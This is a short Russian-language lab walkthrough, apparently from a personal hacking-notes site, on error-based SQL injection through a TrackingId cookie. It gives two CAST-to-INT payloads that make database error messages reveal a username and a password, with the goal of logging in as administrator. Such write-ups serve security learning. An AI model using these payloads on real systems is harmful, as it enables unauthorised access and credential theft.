> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/error-based-sql-injection.md).

# SQL-инъекция на основе ошибок

### Видимая SQL-инъекция на основе сообщений об ошибках

**Краткий контекст:** приложение конкатенирует значение `TrackingId` cookie в SQL-запросе. Вызывая \*\*ошибку преобразования / функцию\*\* для содержимого столбца (username/password), некоторые СУБД возвращают сообщение об ошибке, содержащее значение — это сообщение становится строкой для извлечения данных. Цель: получить `administrator` пароль, а затем войти в систему.

<figure><img src="/files/7eb97dad28c9290352605f21e8a5c38c72ed5867" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select username from users limit 1)as INT)-- -
```

<figure><img src="/files/e46799effbac9eae6cab90a5753c56262390d7c0" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select password from users limit 1)as INT)-- -
```

<figure><img src="/files/780b54cbbb6a55bff3ec4ebb95e2dd8995e3bc03" alt=""><figcaption></figcaption></figure>


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